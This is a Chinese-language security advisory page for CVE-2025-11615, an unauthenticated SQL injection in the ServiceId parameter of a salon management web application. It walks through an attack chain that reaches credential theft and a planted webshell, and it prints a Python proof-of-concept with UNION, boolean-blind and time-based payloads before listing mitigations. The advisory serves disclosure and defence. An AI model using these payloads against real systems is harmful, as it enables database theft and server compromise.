IPBUF安全漏洞报告
English
CVE-2025-11615 CVSS 7.3 高危

CVE-2025-11615:SourceCodester Best Salon Management System SQL注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11615
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Best Salon Management System

相关标签

SQL注入SourceCodesterBest Salon Management System高危漏洞CVE-2025-11615未认证漏洞远程利用Web应用漏洞PHPMySQL

漏洞概述

CVE-2025-11615是SourceCodester Best Salon Management System 1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月11日被公开披露,由安全研究人员通过vuldb平台提交。Best Salon Management System是一款用于美容院管理的Web应用程序,提供预约管理、发票管理、客户管理等功能。

该漏洞存在于应用程序的/panel/add_invoice.php文件中,具体位置在处理发票添加功能的代码逻辑中。攻击者可以通过构造恶意的ServiceId参数值,触发SQL注入攻击。由于该漏洞无需任何身份认证即可利用,且可以通过网络远程触发,攻击者可以在未经授权的情况下直接对目标系统发起攻击。

根据CVSS 3.1评分标准,该漏洞评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均产生低级别影响。虽然单项影响为低,但综合评分仍达到高危级别,表明该漏洞具有较高的可利用性和实际威胁。

目前,该漏洞的利用代码已经公开发布,任何具备基本攻击知识的攻击者都可以利用此漏洞对部署了该系统的服务器发起攻击。由于该系统通常部署在小型美容院的内部网络或公网服务器上,且管理员对安全更新的关注度可能较低,因此该漏洞的实际威胁不容忽视。

技术细节

该SQL注入漏洞的核心问题在于/panel/add_invoice.php文件对用户输入的ServiceId参数处理不当,未能实施充分的输入验证和参数化查询。当用户通过HTTP请求提交添加发票的表单时,ServiceId参数的值被直接拼接到SQL查询语句中,而没有使用预编译语句(Prepared Statements)或适当的转义处理。

攻击者可以利用经典的SQL注入技术,通过在ServiceId参数中注入恶意SQL片段来操纵后端数据库查询。例如,攻击者可以提交类似以下格式的payload:ServiceId=1' OR '1'='1,或者更复杂的UNION SELECT语句来提取数据库中的敏感信息。

由于该漏洞无需认证即可利用,攻击者只需构造一个包含恶意参数的HTTP请求发送到目标服务器的/panel/add_invoice.php端点,即可触发漏洞。攻击成功后,攻击者可以:1)绕过正常的业务逻辑限制;2)读取数据库中的敏感数据,如用户凭证、客户信息等;3)通过UNION查询或堆叠查询修改或删除数据库内容;4)在某些配置下,利用数据库特性执行系统命令,进一步控制服务器。

该漏洞的利用技术门槛较低,已公开的PoC代码使得即使是初级攻击者也能成功利用。建议部署该系统的管理员尽快采取防护措施。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别部署了SourceCodester Best Salon Management System 1.0的目标服务器,定位/panel/add_invoice.php端点。
STEP 2
步骤2:漏洞探测
攻击者向目标端点发送带有特殊字符的ServiceId参数(如单引号),通过观察响应差异确认SQL注入漏洞的存在。
STEP 3
步骤3:注入Payload构造
攻击者根据数据库类型(通常是MySQL)构造相应的SQL注入payload,如UNION SELECT查询或布尔盲注语句。
STEP 4
步骤4:数据提取
通过注入payload,攻击者从数据库中提取敏感信息,包括管理员凭证、客户数据、财务记录等。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭证登录系统后台,或通过SQL注入写入webshell,获取服务器控制权,实现持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11615 PoC - SQL Injection in Best Salon Management System # Vulnerable endpoint: /panel/add_invoice.php # Vulnerable parameter: ServiceId import requests TARGET_URL = "http://target.com/panel/add_invoice.php" # SQL Injection payload targeting the ServiceId parameter # Using UNION-based injection to extract database version payload = "1' UNION SELECT 1,version(),database(),4,5-- -" # Data to be sent in POST request data = { "ServiceId": payload, # Add other required parameters for the add_invoice functionality "CustomerId": "1", "Amount": "100", "Description": "test" } # Send the malicious request response = requests.post(TARGET_URL, data=data) # Check if injection was successful if response.status_code == 200: print("[+] Request sent successfully") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative: Boolean-based blind SQL injection # payload = "1' AND 1=1-- -" # True condition # payload = "1' AND 1=2-- -" # False condition # Alternative: Time-based blind SQL injection # payload = "1' AND SLEEP(5)-- -" # MySQL time-based # payload = "1'; WAITFOR DELAY '0:0:5'-- -" # MSSQL time-based

影响范围

SourceCodester Best Salon Management System 1.0

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)配置规则,拦截针对/panel/add_invoice.php端点的SQL注入攻击payload;2)在Web服务器层面限制对/panel/add_invoice.php文件的访问,或仅允许可信IP地址访问管理面板;3)修改源代码,对ServiceId参数进行严格的输入验证,确保其仅为数字类型;4)将数据库用户的权限降至最低,禁止执行危险操作;5)启用数据库查询日志,实时监控可疑的SQL查询活动;6)如非必要,可临时禁用发票添加功能以阻止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表